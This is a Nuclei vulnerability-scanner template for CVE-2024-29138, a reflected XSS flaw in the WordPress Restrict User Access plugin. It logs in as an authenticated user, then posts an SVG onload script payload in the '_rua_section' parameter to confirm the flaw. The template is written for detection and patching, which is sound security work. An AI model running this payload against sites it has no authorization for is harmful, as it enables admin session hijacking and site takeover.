WordPress Restrict User Access <= 2.5 - Cross-Site Scripting

id: CVE-2024-29138

info:
  name: WordPress Restrict User Access <= 2.5 - Cross-Site Scripting
  author: Shivam Kamboj
  severity: medium
  description: |
    WordPress Restrict User Access – Membership Plugin with Force versions before 2.6 is vulnerable to Reflected Cross-Site Scripting via the '_rua_section' parameter in the admin level edit page.
  impact: |
    Attackers can execute arbitrary scripts in authenticated admin browsers, potentially leading to session hijacking, privilege escalation, WordPress admin account takeover, malicious plugin installation, and website defacement.
  remediation: |
    Update Restrict User Access plugin to version 2.6 or later.
  reference:
    - https://patchstack.com/database/wordpress/plugin/restrict-user-access/vulnerability/wordpress-restrict-user-access-plugin-2-5-reflected-cross-site-scripting-xss-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29138
    - https://wordpress.org/plugins/restrict-user-access/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-29138
    epss-score: 0.00622
    epss-percentile: 0.45452
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    fofa-query: body="/plugins/restrict-user-access/"
  tags: cve,cve2024,wordpress,wp,wp-plugin,xss,authenticated,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, 'wordpress_logged_in')
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin.php?page=wprua-level&action=edit HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        level_id=1&_rua_section="><svg onload=alert(document.domain)>

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "\"><svg onload=alert(document.domain)>","restrict-user-access")'
        condition: and
# digest: 4a0a0047304502204f9c92b0fa00a0611ccc0fdcaaa9eefbc753814cd958caf84102c0227bbbed03022100f887d4e50ddc977fae5f53bce429d2b2dbd5f0af7aa2d0fc09c08039f4e46f38:922c64590222798bb761d5b6d8e72950